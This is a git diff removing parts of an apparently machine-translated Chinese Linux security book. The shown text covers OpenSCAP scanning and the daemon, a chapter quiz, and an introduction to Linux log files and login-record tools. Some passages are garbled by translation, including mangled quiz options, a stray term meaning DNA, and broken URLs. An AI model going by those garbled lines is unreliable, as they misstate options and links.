-下面是第二组已修复的项目: - -```sh - - Set Password Strength Minimum Uppercase Characters - accounts_password_pam_ucredit - fixed - - Set Password Strength Minimum Lowercase Characters - accounts_password_pam_lcredit - fixed - - Set Deny For Failed Password Attempts - accounts_passwords_pam_faillock_deny - fixed - - Set Lockout Time For Failed Password Attempts - accounts_passwords_pam_faillock_unlock_time - fixed - -``` - -所以,是的,OpenSCAP 非常酷,甚至命令行工具也不难使用。然而,如果您必须使用图形用户界面,我们有一个工具,我们将在接下来介绍。 - -# 使用 SCAP 工作台 - -对于安装了桌面环境的机器,我们有 SCAP 工作台。然而,如果你曾经使用过这个工具的早期版本,你可能会非常失望。事实上,工作台的早期版本非常糟糕,甚至无法使用。谢天谢地,此后情况有所改善。现在,工作台是一个相当不错的小工具。 - -要获得 SCAP 工作台,只需使用适当的安装命令。在 CentOS 7 上,执行以下操作: - -```sh -sudo yum install scap-workbench -``` - -在 CentOS 8 上,执行以下操作: - -```sh -sudo dnf install scap-workbench -``` - -在 Ubuntu 18.04 上,执行以下操作: - -```sh -sudo apt install scap-workbench -``` - -是啊,包名只是`scap-workbench`而不是`openscap-workbench`。我不知道为什么,但我知道如果你在寻找`openscap`包裹,你永远也找不到它。 - -安装后,您将在系统工具菜单下看到它的菜单项: - -![](img/1c20b799-2993-4baa-9913-413f2313f183.png) - -当你第一次打开程序时,你会认为系统会要求你输入 root 或 sudo 密码。但是,它没有。我们会看看这会不会影响到我们。 - -您将在开始屏幕上看到的第一件事是一个下拉列表,供您选择要加载的内容类型。我将选择 CentOS7,然后单击加载内容按钮: - -![](img/b0751489-f41b-4e26-b886-ca82827ea2b7.png) - -接下来,您将看到顶部面板,您可以在其中选择所需的配置文件。您还可以选择自定义配置文件,以及是在本地计算机上运行扫描还是在远程计算机上运行扫描。在底部窗格中,您将看到该配置文件的规则列表。您可以展开每个规则项来获取该规则的描述: - -![](img/20b3b5ea-335f-493a-a80c-d9542706d898.png) - -现在,让我们单击“扫描”按钮,看看会发生什么: - -![](img/b579a67d-e3ec-491d-80ab-e493b5a08ea3.png) - -酷!正如我所希望的,它会提示您输入 sudo 密码。除此之外,我会让你去玩它。这只是另一个图形用户界面,所以它的其余部分应该很容易理解。 - -接下来,我们将看看 OpenSCAP 守护程序。 - -# 在 Ubuntu 18.04 上使用 OpenSCAP 守护程序 - -OpenSCAP 守护程序目前在 Ubuntu 18.04 和 Fedora 各自的存储库中可用,但不适用于 RHEL 或 CentOS。虽然包名是`openscap-daemon`,但是还有一个命令行组件。守护进程在后台运行,不断检查您使用命令行工具创建的任何任务。命令行实用程序允许您以交互模式创建扫描任务。这比我们之前使用普通的`openscap`实用程序创建每个扫描命令要容易得多。然而,也有一些缺点: - -* 要在 RHEL 或中央操作系统上安装它,你必须下载源代码并自己编译。 -* 文档不是很好。 -* 据说,您可以使用它来自动扫描本地主机或远程机器。然而,我无法使远程扫描选项工作。 - -所以,是的,目前有一些不利因素。然而,用户一直在请求这种类型的守护服务,所以 OpenSCAP 开发人员最终迫使他们这样做。对于这个演示,我已经创建了一个新的 Ubuntu 18.04 虚拟机。我已经将 Ubuntu 18.04 配置文件从代码存档文件转移到我自己的主目录中,您可以从 Packt Publishing 网站下载该文件。(您将在本章开头找到该链接。) - -要安装它,只需执行以下操作: - -```sh -sudo apt install openscap-daemon ssg-applications ssg-debderived ssg-nondebian ssg-base ssg-debian -``` - -安装完成后,守护程序将已经运行。接下来,我将把 Ubuntu 18.04 配置文件转移到适当的目录: - -```sh -donnie@ubuntu4:~$ ls -ssg-ubuntu1804-cpe-dictionary.xml ssg-ubuntu1804-ds.xml ssg-ubuntu1804-xccdf.xml -ssg-ubuntu1804-cpe-oval.xml ssg-ubuntu1804-ocil.xml -ssg-ubuntu1804-ds-1.2.xml ssg-ubuntu1804-oval.xml -donnie@ubuntu4:~$ sudo cp *.xml /usr/share/scap-security-guide/ -donnie@ubuntu4:~$ -``` - -现在,您可以使用`oscapd-cli`工具为本地机器或远程机器设置扫描作业。您可以将作业配置为运行一次,或者定期运行。`oscapd-cli`手册页相当的不值钱,所以你最好的选择是咨询 OpenSCAP 网站。 - -You'll find documentation for `oscapd-cli` at [https://github.com/OpenSCAP/openscap-daemon/blob/master/README.md](https://github.com/OpenSCAP/openscap-daemon/blob/master/README.md). - -通过创建一个*任务*开始该过程。都是互动的,所以真的只是回答一些问题。以下是开始行动的命令: - -```sh -donnie@ubuntu4:~$ sudo oscapd-cli task-create -i -Creating new task in interactive mode -Title: Localhost scan -``` - -结尾的`-i`选项意味着交互。如果它不在那里,命令只会向您抛出一条愤怒的错误消息。如您所见,您需要为工作创建一个标题。在这里,您最好的选择是用您正在扫描的机器或软件包来命名作业。这样的话,我就命名为`Localhost scan`。 - -接下来,输入要扫描的机器的地址。要扫描本地主机,我只需点击*进入*键。然后,选择一个配置文件。我会选择数字`15`,对于 Ubuntu 18.04: - -```sh -donnie@ubuntu4:~$ sudo oscapd-cli task-create -i -Creating new task in interactive mode -Title: Localhost scan -Target (empty for localhost): -Found the following SCAP Security Guide content: - 1: /usr/share/scap-security-guide/ssg-centos5-ds.xml - . . . - 15: /usr/share/scap-security-guide/ssg-ubuntu1804-ds.xml - 16: /usr/share/scap-security-guide/ssg-webmin-ds.xml -Choose SSG content by number (empty for custom content): 15 -``` - -配置文件包含六个配置文件可供选择。 - -The ANSSI DAT-NT28 profiles are from the *Agence nationale de la sécurité des systèmes d’information* in France. You would think that there would be some profiles for `stig` or `pci-dss`, but there aren't. - -我只选择配置文件编号`2`,对于标准系统安全配置文件: - -```sh -Found the following possible profiles: - 1: Profile for ANSSI DAT-NT28 Minimal Level (id='xccdf_org.ssgproject.content_profile_anssi_np_nt28_minimal') - 2: Standard System Security Profile for Ubuntu 18.04 (id='xccdf_org.ssgproject.content_profile_standard') - 3: Profile for ANSSI DAT-NT28 Restrictive Level (id='xccdf_org.ssgproject.content_profile_anssi_np_nt28_restrictive') - 4: Profile for ANSSI DAT-NT28 Average (Intermediate) Level (id='xccdf_org.ssgproject.content_profile_anssi_np_nt28_average') - 5: Profile for ANSSI DAT-NT28 High (Enforced) Level (id='xccdf_org.ssgproject.content_profile_anssi_np_nt28_high') - 6: (default) (id='') -Choose profile by number (empty for (default) profile): 2 -``` - -接下来,我会选择是否做自动补救,然后设置一个时间表。目前,我会选择不做补救,因为我只想先测试一下这个。我会选择扫描`NOW`每周重复工作: - -```sh -Online remediation (1, y or Y for yes, else no): -Schedule: - - not before (YYYY-MM-DD HH:MM in UTC, empty for NOW): - - repeat after (hours or @daily, @weekly, @monthly, empty or 0 for no repeat): @weekly -Task created with ID '1'. It is currently set as disabled. You can enable it with `oscapd-cli task 1 enable`. -donnie@ubuntu4:~$ -``` - -现在,我们有了任务 ID 1,我们仍然需要启用它。我们将用下面的代码来实现: - -```sh -donnie@ubuntu4:~$ sudo oscapd-cli task 1 enable -donnie@ubuntu4:~$ -``` - -要查看创建的任务列表,请使用`task`选项: - -```sh -donnie@ubuntu4:~$ sudo oscapd-cli task ----+----------------+-----------+---------------------+-------- -ID | Title | Target | Modified | Enabled ----+----------------+-----------+---------------------+-------- -1 | Localhost scan | localhost | 2019-11-20 23:39:26 | enabled - -Found 1 tasks, 1 of them enabled. -donnie@ubuntu4:~$ -``` - -扫描完成后,您会在`/var/lib/oscapd`目录下的`results.xml`文件中找到结果。在该目录中,您将看到每个已启用任务的新编号子目录。在这些子目录中,您会看到更多带编号的子目录,每次任务运行时都有一个。`/var/lib/oscapd`目录仅对根用户可读,因此您需要转到根 shell 查看其中的内容: - -```sh -donnie@ubuntu4:~$ sudo su - -root@ubuntu4:~# cd /var/lib/oscapd/results/ -root@ubuntu4:/var/lib/oscapd/results# ls -1 -root@ubuntu4:/var/lib/oscapd/results# cd 1 -root@ubuntu4:/var/lib/oscapd/results/1# ls -1 -root@ubuntu4:/var/lib/oscapd/results/1# cd 1 -root@ubuntu4:/var/lib/oscapd/results/1/1# ls -exit_code results.xml stderr stdout -root@ubuntu4:/var/lib/oscapd/results/1/1# -``` - -因为我们普通人不应该阅读`.xml`文件,我们将把它转换成一个更人性化的`.html`文件,就像我们使用命令行扫描仪时一样: - -```sh -root@ubuntu4:/var/lib/oscapd/results/1/1# ls -exit_code results.xml stderr stdout -root@ubuntu4:/var/lib/oscapd/results/1/1# oscap xccdf generate report results.xml > /home/donnie/results.html - -root@ubuntu4:/var/lib/oscapd/results/1/1# exit -logout -donnie@ubuntu4:~$ -``` - -然后,只需在网络浏览器中打开文件。 - -如果您只想查看机器或软件是否兼容,而不必查看整个输出文件,只需使用 result 选项,后跟任务号: - -```sh -donnie@ubuntu4:~$ sudo oscapd-cli result 1 -Results of Task "Localhost scan", ID = 1 - ----+---------------------+-------------- -ID | Timestamp | Status ----+---------------------+-------------- -1 | 2019-11-20 23:39:26 | Non-Compliant -donnie@ubuntu4:~$ -``` - -哦,天哪,我不听话。我将不得不查看刚刚生成的报告,看看需要修复什么。一旦我查看了它,看看我是否同意它的发现,我将创建另一个任务来执行自动修复。 - -那么,底线是什么?好吧,OpenSCAP 守护进程是一个非常酷的概念,我喜欢它。我迫不及待地想知道 RHEL 和 CentOS 的存储库。 - -接下来,让我们看看选择 OpenSCAP 配置文件的一些标准。 - -# 选择 OpenSCAP 配置文件 - -所以,现在,你在说,*好吧,这都很好,但是我如何找到这些配置文件中有什么,我需要哪一个?*嗯,有几种方法。 - -我刚刚向您展示的第一种方法是在具有桌面界面的机器上安装 SCAP 工作台,并通读每个概要文件的所有规则的描述。 - -第二种方法可能会简单一点,那就是去 OpenSCAP 网站,浏览那里的文档。 - -You'll find information about the available OpenSCAP profiles at [https://www.open-scap.org/security-policies/choosing-policy/](https://www.open-scap.org/security-policies/choosing-policy/). - -就知道选择哪种配置文件而言,有几件事需要考虑: - -* 如果你在金融部门或从事在线金融交易的企业工作,那么请选择`pci-dss`档案。 -* 如果你为一个政府机构工作,特别是如果是美国政府,那么按照特定机构的指示,选择`stig`档案或`nispom`档案。 -* 如果这两个考虑都不适用于你的情况,那么你将只想做一些研究和规划,以便弄清楚什么是真正需要锁定的。浏览每个配置文件中的规则,并阅读 OpenSCAP 网站上的文档,以帮助您决定您需要什么。 - -使用红帽及其后代,您甚至可以在安装操作系统时应用策略。我们接下来看看。 - -# 在系统安装期间应用 OpenSCAP 配置文件 - -我喜欢红帽人的一点是,他们完全了解这种安全感。是的,我们可以锁定其他发行版,让它们更安全,正如我们已经看到的。但是有了红帽发行版,就简单多了。对于很多事情,红帽类型发行版的维护者已经设置了安全的默认选项,而在其他发行版上默认情况下这些选项是不安全的。(例如,红帽发行版是唯一默认锁定用户主目录的发行版。)另外,Red Hat 类型的发行版附带了工具和安装选项,有助于让忙碌、注重安全的管理员的生活变得更加轻松。 - -当你安装一个红帽类型的发行版时,你将有机会在操作系统安装期间应用一个 OpenSCAP 概要文件。在这里,在这个 CentOS 7 安装程序屏幕上,您将在屏幕右下角看到选择安全配置文件的选项: - -![](img/2eca6621-c9d7-45d5-8a62-dce34b1e1d38.png) - -你所要做的就是点击它,然后选择你的个人资料: - -![](img/ff12b5a3-e621-415c-9aaa-38af2c213530.png) - -在撰写本文时,即 2020 年 1 月,这无论对 CentOS 8.0 还是 CentOS 8.1 都不起作用。由于还没有`centos8`的简介,这个屏幕不会给你任何选择。看下面的截图就能明白我的意思了: - -![](img/aeefec30-fa82-430a-9d82-9d2fec132266.png) - -是的,那里什么都没有。(我曾希望这能在 CentOS 8.1 版本中得到修复,但没有这样的运气。)但是,对于 RHEL 8,你有两个选择: - -![](img/6bb440f5-ee12-4b7f-bd0a-4cc39aef378d.png) - -好了,这就差不多结束了我们对 OpenSCAP 的讨论。唯一要补充的是,尽管 OpenSCAP 很棒,但它不会做所有的事情。例如,一些安全标准要求您在它们自己独立的分区上拥有某些目录,如`/home/`或`/var/`。如果不是这样,OpenSCAP 扫描会提醒您,但它不能改变您现有的分区方案。因此,对于这样的事情,您需要从管理机构那里获得一份清单,规定您的安全要求,并在接触 OpenSCAP 之前做一些高级工作。 - -# 摘要 - -在这一章中,我们涉及了很多方面,我们看到了一些非常酷的东西。我们从查看几个防病毒扫描程序开始,这样我们就可以防止感染任何访问我们的 Linux 服务器的 Windows 机器。在*用 Rootkit Hunter 扫描 Rootkit*部分,我们看到了如何扫描那些讨厌的 Rootkit。我们还看到了几种快速检查潜在恶意文件的技术。知道如何审计系统很重要,尤其是在高安全性环境中,我们看到了如何做到这一点。最后,我们讨论了用 OpenSCAP 加固我们的系统。 - -在下一章中,我们将研究日志记录和日志文件安全性。到时候见。 - -# 问题 - -1. 关于 rootkits,以下哪一项是正确的? - -A.它们只会感染 Windows 操作系统。 -B .种植 rootkit 的目的是获得系统的 root 权限。 -C .入侵者必须已经获得根特权才能种植根工具包。 -脱氧核糖核酸 rootkit 不是很有害。 - -2. 您会使用以下哪种方法来保持`maldet`更新? - -A.手动创建每天运行的 cron 作业。 -B .什么都不做,因为 maldet 会自动更新自己。 -C .每天运行一次操作系统的正常更新命令。 -D .从命令行运行 maldet 更新实用程序。 - -3. 关于审计服务,以下哪一项是正确的? - -A.在 Ubuntu 系统上,您需要使用服务命令停止或重新启动它。 -B .在红帽型系统上,您需要使用服务命令停止或重新启动它。 -C .在 Ubuntu 系统上,它已经安装好了。 -D .在红帽型系统上,你需要自己安装。 - -4. 您需要创建一个审计规则,每当特定的人读取或创建文件时,该规则都会提醒您。在该规则中,您将使用以下哪个系统调用? - -A.`openfile`T4【b .】`fileread`T5【c .】`openat`T6【d .`fileopen` - -5. auditd 服务使用哪个文件来记录审计事件? - -A.`/var/log/messages`T4【b .】`/var/log/syslog`T5【c .】`/var/log/auditd/audit`T6【d .`/var/log/audit/audit.log` - -6. 您需要为 auditd 创建自定义审计规则。你会把新规则放在哪里? - -A.`/usr/share/audit-version_number`T4【b .】`/etc/audit`T5【c .】`/etc/audit.d/rules`T6【d .`/etc/audit/rules.d` - -7. 你正在为银行的客户入口设置一个网络服务器。您可能会应用以下哪些 SCAP 配置文件? - -A.Stig -b . nisom -c . PCI-DSS -d . sarbanes-oxley - -8. 关于 OpenSCAP,以下哪一项是正确的? - -A.它不能修复所有问题,因此在设置服务器之前,您需要使用核对表进行预先规划。 -B .它可以自动修复你系统上的每一个问题。 -C .它只适用于红帽型发行版。 -D. Ubuntu 提供了更好的 SCAP 配置文件选择。 - -9. 您将使用以下哪个命令来生成用户身份验证报告? - -A.`sudo ausearch -au` -B. `sudo aureport -au` -C .定义一个审计规则,然后做`sudo ausearch -au`。 -D .定义一个审计规则,然后做`sudo aureport -au`。 - -10. 你会使用哪组 Rootkit Hunter 选项来让 Rootkit 扫描每晚自动运行? - -A.`-c`T4【b .】`-c --rwo`T5【c .】`--rwo`T6【d .`-c --cronjob --rwo` - -# 进一步阅读 - -* 如何安装和配置 maldet:[https://www . servernaobs . com/如何安装和配置-maldet-Linux-恶意软件-检测-lmd/](https://www.servernoobs.com/how-to-install-and-configure-maldet-linux-malware-detect-lmd/) -* 使用审计守护程序配置和审计 Linux 系统:[https://Linux-audit . com/配置和审计-Linux-使用审计守护程序系统/](https://linux-audit.com/configuring-and-auditing-linux-systems-with-audit-daemon/) -* OpenSCAP 门户网站:[https://www.open-scap.org/](https://www.open-scap.org/) -* OpenSCAP 守护程序:[https://github . com/OpenSCAP/OpenSCAP-守护程序/blob/master/README.md](https://github.com/OpenSCAP/openscap-daemon/blob/master/README.md) -* 实用 Openscap:[https://www . RedHat . com/files/summit/session-img/2016/SL45190-实用-Openscap _ security-standard-compliance-and-reporting . pdf](https://www.redhat.com/files/summit/session-img/2016/SL45190-practical-openscap_security-standard-compliance-and-reporting.pdf) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/12.md b/docs/master-linux-sec-hard/12.md deleted file mode 100644 index 9adec1aa..00000000 --- a/docs/master-linux-sec-hard/12.md +++ /dev/null @@ -1,920 +0,0 @@ -# 十二、日志记录和日志安全性 - -系统日志是每个信息技术管理员生活的重要组成部分。他们可以告诉您您的系统性能如何,如何解决问题,以及用户(包括授权用户和未授权用户)在系统上做什么。 - -在这一章中,我将向您简要介绍 Linux 日志系统,然后向您展示一个很酷的技巧来帮助您更轻松地查看日志。然后,我将向您展示如何设置远程日志服务器,完成**传输层安全性**(**TLS**)-到客户端的加密连接。 - -我们将讨论的主题如下: - -* 了解 Linux 系统日志文件 -* 理解 rsyslog -* 理解日志 -* 使用 Logwatch 让事情变得更简单 -* 设置远程日志服务器 - -本章的重点是日志工具,这些工具要么已经内置在您的 Linux 发行版中,要么在您的发行版存储库中可用。其他 Packt Publishing 书籍,如 *Linux 管理食谱*,向您展示了一些更高级的第三方日志聚合和分析工具。 - -所以,如果你准备好了,并且迫不及待地想去,让我们看看那些 Linux 日志文件。 - -# 了解 Linux 系统日志文件 - -你会在`/var/log`目录中找到 Linux 日志文件。Linux 日志文件的结构在所有 Linux 发行版中几乎是相同的。但是,在 Linux 的传统中,试图让我们都感到困惑,不同的发行版上的主日志文件有不同的名称。在红帽型系统上,主日志文件是`messages`文件,认证相关事件的日志是`secure`文件。在 Debian 类型的系统上,主日志文件是`syslog`文件,认证日志是`auth.log`文件。您将看到的其他日志文件包括: - -* `/var/log/kern.log`:在 Debian 类型的系统上,这个日志包含关于 Linux 内核的消息。正如我们在[第 3 章](03.html)、*用防火墙保护您的服务器-第 1 部分*和[第 4 章](04.html)、*用防火墙保护您的服务器-第 2 部分*中所看到的,这包括关于 Linux 防火墙的消息。所以,如果你想看看是否有任何可疑的网络数据包被拦截,这是一个值得一看的地方。红帽型系统没有这个文件。相反,红帽系统将其内核消息发送到`messages`文件。 -* `/var/log/wtmp`和`/var/run/utmp`:这两个文件本质上做的是一样的事情。它们都记录了登录到系统的用户的信息。主要区别是`wtmp`保存了`utmp`的历史数据。与大多数 Linux 日志文件不同,这些文件是二进制格式,而不是普通的文本模式格式。`utmp`文件是我们要查看的唯一不在`/var/log`目录中的文件。 -* `/var/log/btmp`:这个二进制文件保存了登录失败的信息。我们在[第 2 章](02.html)、*保护用户帐户*中看到的`pam_tally2`模块使用了该文件中的信息。 -* `/var/log/lastlog`:这个二进制文件保存了用户最后一次登录系统的信息。 -* `/var/log/audit/audit.log`:该文本模式文件记录来自被审计守护程序的信息。我们已经在[第 11 章](11.html)、*扫描、加固、审计*中讨论过了,这里就不讨论了。 - -还有相当多的其他日志文件包含有关应用和系统启动的信息。但是我在这里列出的日志文件是我们在考虑系统安全性时关注的主要文件。 - -现在我们已经了解了我们有哪些日志文件,让我们更详细地了解一下它们。 - -# 系统日志和身份验证日志 - -不管你说的是 Debian/Ubuntu 上的`syslog`和`auth.log`文件还是 RHEL/CentOS 上的`messages`和`secure`文件。在任一系统上,文件都是相同的,只是名称不同。系统日志文件和身份验证日志文件具有相同的基本结构,并且都是明文文件。这使得使用已经内置在 Linux 中的工具搜索特定信息变得很容易。我们使用哪个**虚拟机** ( **虚拟机**)并不重要,重要的是保持文件的名称正确。 - -首先,让我们看一下系统日志中的一条简单消息: - -```sh -Jul 1 18:16:12 localhost systemd[1]: Started Postfix Mail Transport Agent. -``` - -细分如下: - -* `Jul  1 18:16:12`:这是消息生成的日期和时间。 -* `localhost`:这是生成消息的机器的主机名。这很重要,因为一台 Linux 机器可以作为其他 Linux 机器的中央日志存储库。默认情况下,来自其他计算机的消息将被转储到本地计算机使用的同一日志文件中。所以,我们需要这个字段来让我们知道每台机器上发生了什么。 -* `systemd[1]`:这是生成消息的服务。在这种情况下,它是 systemd 守护进程。 -* 该行的其余部分是具体的消息。 - -有几种方法可以从文本模式日志文件中提取信息。现在,我们将在`less`中打开文件,如本例所示: - -```sh -sudo less syslog -``` - -然后,要搜索特定的文本字符串,请按`/`键,键入要查找的字符串,然后按*进入*。 - -那么,我们期望在这些文件中找到什么样的安全相关信息呢?首先,让我们看看服务器私有 SSH 密钥的权限: - -```sh -donnie@orangepione:/etc/ssh$ ls -l -total 580 -. . . --rw-------+ 1 root root 1679 Feb 10 2019 ssh_host_rsa_key --rw-r--r-- 1 root root 398 Feb 10 2019 ssh_host_rsa_key.pub -donnie@orangepione:/etc/ssh$ -``` - -这个私钥`ssh_host_rsa_key`文件必须只为根用户设置权限。但是,权限设置末尾的`+`符号表示有人在该文件上设置了**访问控制列表** ( **ACL** )。`getfacl`将向我们展示到底发生了什么: - -```sh -donnie@orangepione:/etc/ssh$ getfacl ssh_host_rsa_key -# file: ssh_host_rsa_key -# owner: root -# group: root -user::rw- -user:sshdnoroot:r-- -group::--- -mask::r-- -other::--- -donnie@orangepione:/etc/ssh$ -``` - -因此,有人创建了`sshdnoroot`用户,并为其分配了服务器私有 SSH 密钥的读取权限。现在,如果我尝试重新启动 OpenSSH 守护程序,它将会失败。查看系统日志——在本例中是`syslog`文件——会告诉我为什么: - -```sh -Mar 13 12:47:46 localhost sshd[1952]: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -Mar 13 12:47:46 localhost sshd[1952]: @ WARNING: UNPROTECTED PRIVATE KEY FILE! @ -Mar 13 12:47:46 localhost sshd[1952]: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ -Mar 13 12:47:46 localhost sshd[1952]: Permissions 0640 for '/etc/ssh/ssh_host_rsa_key' are too open. -Mar 13 12:47:46 localhost sshd[1952]: It is required that your private key files are NOT accessible by others. -Mar 13 12:47:46 localhost sshd[1952]: This private key will be ignored. -Mar 13 12:47:46 localhost sshd[1952]: key_load_private: bad permissions -Mar 13 12:47:46 localhost sshd[1952]: Could not load host key: /etc/ssh/ssh_host_rsa_key -``` - -因此,如果根用户以外的其他人对服务器的私钥有任何访问权限,SSH 守护程序就不会启动。但是这是怎么发生的呢?让我们搜索认证文件——在本例中是`auth.log`——看看是否有线索: - -```sh -Mar 13 12:42:54 localhost sudo: donnie : TTY=tty1 ; PWD=/etc/ssh ; USER=root ; COMMAND=/usr/bin/setfacl -m u:sshdnoroot:r ssh_host_ecdsa_key ssh_host_ed25519_key ssh_host_rsa_key -``` - -啊,以至于`donnie`角色做到了这一点。为什么,这是一种暴行!立刻解雇那家伙!等等,那是我。转念一想,我们不要解雇他。但说真的,这显示了强迫用户使用`sudo`而不是允许他们从根外壳做任何事情的价值。如果我是从根 shell 中完成的,身份验证日志会显示我作为根用户登录的位置,但不会显示我作为根用户所做的任何事情。使用`sudo`,每个根级别的动作都会被记录下来,以及是谁做的。 - -有几种方法可以从日志文件中获取特定信息。其中包括以下内容: - -* 使用`less`实用程序的搜索功能,正如我之前提到的 -* 使用`grep`一次通过一个或多个文件搜索文本字符串 -* 用`bash`、Python 或`awk`等语言编写脚本 - -这里有一个使用`grep`的例子: - -```sh -sudo grep 'fail' syslog -``` - -在这种情况下,我在`syslog`文件中搜索包含文本字符串`fail`的所有行。默认情况下,`grep`区分大小写,因此该命令不会找到任何大写字母的`fail`实例。此外,默认情况下,`grep`查找嵌入在其他文本字符串中的文本字符串。所以,除了只找到`fail`之外,这个命令还会找到 faileded、fail,或者任何其他包含文本字符串`fail`的文本字符串。 - -要使搜索不区分大小写,请添加`-i`选项,如下所示: - -```sh -sudo grep -i 'fail' syslog -``` - -这会找到大写或小写字母的所有形式的`fail`。要仅搜索`fail`文本字符串,并排除它在其他文本字符串中的嵌入位置,请使用`-w`选项,如下所示: - -```sh -sudo grep -w 'fail' syslog -``` - -您可以像这样组合这两个选项: - -```sh -sudo grep -iw 'fail' syslog -``` - -一般来说,如果你不知道你到底在找什么,从一个更普通的搜索开始,它可能会给你展示太多。然后,缩小范围,直到找到你想要的。 - -现在,当您只想在日志文件中搜索特定信息时,这一切都很好。但是当你需要做你的每日日志回顾时,这是相当乏味的。稍后,我将向您展示一个工具,它将使这变得更加容易。现在,让我们看看二进制日志文件。 - -# utmp、wtmp、btmp 和 lastlog 文件 - -与系统日志文件和身份验证日志文件不同,所有这些文件都是二进制文件。因此,我们不能使用我们正常的文本工具,如`less`或`grep`,来阅读它们或从中提取信息。相反,我们将使用一些可以读取这些二进制文件的特殊工具。 - -`w`和`who`命令从`/var/run/utmp`文件中提取关于谁登录以及他们正在做什么的信息。这两个命令都有自己的选项开关,但是您可能永远都不需要它们。如果您只想查看当前登录的用户列表,请像这样使用`who`: - -```sh -donnie@orangepione:/var/log$ who -donnie tty7 2019-08-02 18:18 (:0) -donnie pts/1 2019-11-21 16:21 (192.168.0.251) -donnie pts/2 2019-11-21 17:01 (192.168.0.251) -katelyn pts/3 2019-11-21 18:15 (192.168.0.11) -lionel pts/4 2019-11-21 18:21 (192.168.0.15) -donnie@orangepione:/var/log$ -``` - -它向我展示了三种不同的登录方式。`tty7`线是我的本地终端会话,`pts/1`和`pts/2`线是我从`192.168.0.251`机器远程 SSH 的两个会话。凯特琳和莱昂内尔从另外两台机器远程登录。 - -`w`命令不仅向您显示谁登录了,还显示他们正在做什么: - -```sh -donnie@orangepione:/var/log$ w - 18:29:42 up 2:09, 5 users, load average: 0.00, 0.00, 0.00 -USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT -donnie tty7 :0 02Aug19 111days 6.28s 0.05s /bin/sh /etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc -donnie pts/1 192.168.0.251 16:21 4.00s 2.88s 0.05s w -donnie pts/2 192.168.0.251 17:01 7:10 0.81s 0.81s -bash -katelyn pts/3 192.168.0.11 18:15 7:41 0.64s 0.30s vim somefile.txt -lionel pts/4 192.168.0.15 18:21 8:06 0.76s 0.30s sshd: lionel [priv] -donnie@orangepione:/var/log$ - -``` - -这显示了五个用户,但实际上只有三个,因为它将我的每个登录会话都算作一个单独的用户。第一次登录`FROM`栏下的`:0`表示这次登录是在机器的本地控制台。`/bin/sh`部分显示我打开了一个终端窗口,`/etc/xdg/xfce4/xinitrc -- /etc/X11/xinit/xserverrc`部分表示机器处于图形模式,XFCE 桌面。`pts/1`行显示我已经在那个窗口中运行了`w`命令,而`pts/2`行显示我在那个窗口中除了打开 bash shell 之外没有做任何事情。 - -接下来,我们看到凯特琳正在编辑一个文件。所以,我认为她一切都很好。但是看看莱昂内尔。`[priv]`在他的台词中表示他在做某种特权动作。为了了解该操作是什么,我们将查看身份验证文件,其中我们看到了以下内容: - -```sh -Nov 21 18:21:42 localhost sudo: lionel : TTY=pts/4 ; PWD=/home/lionel ; USER=root ; COMMAND=/usr/sbin/visudo -``` - -哦,来吧。哪个傻瓜给了莱昂内尔使用`visudo`的特权?我的意思是,我们知道莱昂内尔不应该有这种特权。我们可以调查。在身份验证文件中,我们可以看到: - -```sh -Nov 21 18:17:53 localhost sudo: donnie : TTY=pts/2 ; PWD=/home/donnie ; USER=root ; COMMAND=/usr/sbin/visudo -``` - -这说明那个`donnie`角色打开了`visudo`,但是没有显示他对它做了什么编辑。但是由于这一行紧接在`donnie`创建莱昂内尔账户的那一行之后,并且没有其他用户使用`visudo`,所以可以肯定的是`donnie`是给了莱昂内尔`visudo`特权的人。所以,我们可以推测`donnie`角色是一个真正的失败者,应该被解雇。等等。又是我,不是吗?好吧,没关系。 - -在正常使用中,`last`命令从`/var/log/wtmp`文件中提取信息,该文件从`/var/run/utmp`文件中归档历史数据。在没有任何选项开关的情况下,`last`显示每个用户何时登录或退出,以及机器何时启动: - -```sh -donnie@orangepione:/var/log$ last -lionel pts/4 192.168.0.15 Thu Nov 21 18:21 still logged in -lionel pts/4 192.168.0.15 Thu Nov 21 18:17 - 18:17 (00:00) -katelyn pts/3 192.168.0.11 Thu Nov 21 18:15 still logged in -katelyn pts/3 192.168.0.251 Thu Nov 21 18:02 - 18:15 (00:12) -donnie pts/2 192.168.0.251 Thu Nov 21 17:01 still logged in -donnie pts/1 192.168.0.251 Thu Nov 21 16:21 still logged in -donnie tty7 :0 Fri Aug 2 18:18 gone - no logout -reboot system boot 4.19.57-sunxi Wed Dec 31 19:00 still running -. . . -wtmp begins Wed Dec 31 19:00:03 1969 -donnie@orangepione:/var/log$ -``` - -要显示失败登录尝试的列表,使用`-f`选项读取`/var/log/btmp`文件。问题是这需要`sudo`特权,因为我们通常希望对失败登录的信息保密: - -```sh -donnie@orangepione:/var/log$ sudo last -f /var/log/btmp -[sudo] password for donnie: -katelyn ssh:notty 192.168.0.251 Thu Nov 21 17:57 gone - no logout -katelyn ssh:notty 192.168.0.251 Thu Nov 21 17:57 - 17:57 (00:00) -katelyn ssh:notty 192.168.0.251 Thu Nov 21 17:57 - 17:57 (00:00) - -btmp begins Thu Nov 21 17:57:35 2019 -donnie@orangepione:/var/log$ -``` - -当然,我们可以在`auth.log`或`secure`文件中看到凯特琳的三次失败登录,但是在这里看到它们更方便更快。 - -最后,还有`lastlog`命令,它从`/var/log/lastlog`文件中提取信息——你猜对了。这显示了机器上所有用户的记录,甚至包括系统用户,以及他们上次登录的时间: - -```sh -donnie@orangepione:/var/log$ lastlog -Username Port From Latest -root tty1 Tue Mar 12 15:29:09 -0400 2019 -. . . -messagebus **Never logged in** -sshd **Never logged in** -donnie pts/2 192.168.0.251 Thu Nov 21 17:01:03 -0500 2019 -sshdnoroot **Never logged in** -. . . -katelyn pts/3 192.168.0.11 Thu Nov 21 18:15:44 -0500 2019 -lionel pts/4 192.168.0.15 Thu Nov 21 18:21:33 -0500 2019 -donnie@orangepione:/var/log$ -``` - -`/var/log`目录中有更多的日志,但是我刚刚给你快速浏览了与系统安全相关的日志。接下来,我们将从 rsyslog 系统开始,看看大多数 Linux 发行版中内置的两个主要日志系统。 - -# 理解 rsyslog - -旧的系统日志记录系统创建于 20 世纪 80 年代,用于 Unix 和其他类似 Unix 的系统。就在几年前,它终于在 Linux 世界度过了最后的时光。现在,我们使用 rsyslog,它更健壮一点,有更多的特性。它在基于 Debian 和基于 Red Hat 